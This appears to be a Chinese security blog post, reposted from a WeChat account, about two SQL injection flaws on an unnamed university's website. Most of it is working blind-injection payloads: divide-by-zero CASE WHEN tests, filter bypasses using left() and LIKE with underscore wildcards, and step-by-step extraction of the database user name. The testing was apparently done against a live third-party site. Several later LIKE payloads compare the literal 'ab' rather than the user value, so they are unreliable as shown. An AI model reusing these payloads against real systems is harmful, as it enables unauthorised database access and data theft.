本人偷个懒,请各位大佬移步
https://www.cnblogs.com/myseries/p/10821372.html
and+1/1=1
and+1/0=1
发现如果使用if语句,无论对错返回的字节都是一样的:
and+1/ if (1=1,1,0)=1
改用case when,成功:
and+1/case+when+1=1+then+1+else+0+end=1
and+1/case+when+1=0+then+1+else+0+end=1
判断想要获取内容的个数,这里是user:
and+1/case+when+len(user)=3+then+1+else+0+end=1
使用截取函数,发现substr三兄弟以及mid全都不能用。但是left和right可以,这里用left:
and+1/case+when+left(‘abc’,1)=’a’+then+1+else+0+end=1
现在爆破用户名user,因为使用的是left截取函数,所以只能一个一个爆破,所幸只有3位:
第一位:
and+1/case+when+left(user,1)=’b’+then+1/1+else+1/0+end=1
第二位:
and+1/case+when+left(user,2)=’db’+then+1/1+else+1/0+end=1
第三位:
and+1/case+when+left(user,3)=’dbo’+then+1/1+else+1/0+end=1
完成。
在同一网站的另一处也存在sql注入,前面的poc构造都一样。
and+1/case+when+1=1+then+1+else+0+end=1
and+1/case+when+1=0+then+1+else+0+end=1
但不同的是这里拦截了所有的截取函数,所以使用like:
and+1/case+when+’ab’+like+’ab’+then+1+else+0+end=1
本来想like和%配合使用。但发现竟然不行,应该是和%和字母组合会触发拦截。
and+1/case+when+’ab’+like+’ab’+then+1+else+0+end=1
不过所幸_没被拦截(_仅替代一个字符 ):
and+1/case+when+’ab’+like+’a_’+then+1+else+0+end=1
接下来必须得判断user的位数,但是len()函数被拦截了,只能盲猜,想到既然是同一网站或许会是同一用户名,那就也是3位:
and+1/case+when+’ab’+like+’___’+then+1+else+0+end=1
果然是3位,现在就可以挨个爆破了:
第一位:
and+1/case+when+’ab’+like+’a__’+then+1+else+0+end=1
第二位:
and+1/case+when+’ab’+like+’db_’+then+1+else+0+end=1
and+1/case+when+’ab’+like+’dbo’+then+1+else+0+end=1
祝各位师傅在2021年挖洞挖到手软!
本文仅做技术分享,切勿用于非法用途!
如有违反,于本文无关!
END
本文始发于微信公众号(NOVASEC):某大学两处SQL注入
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论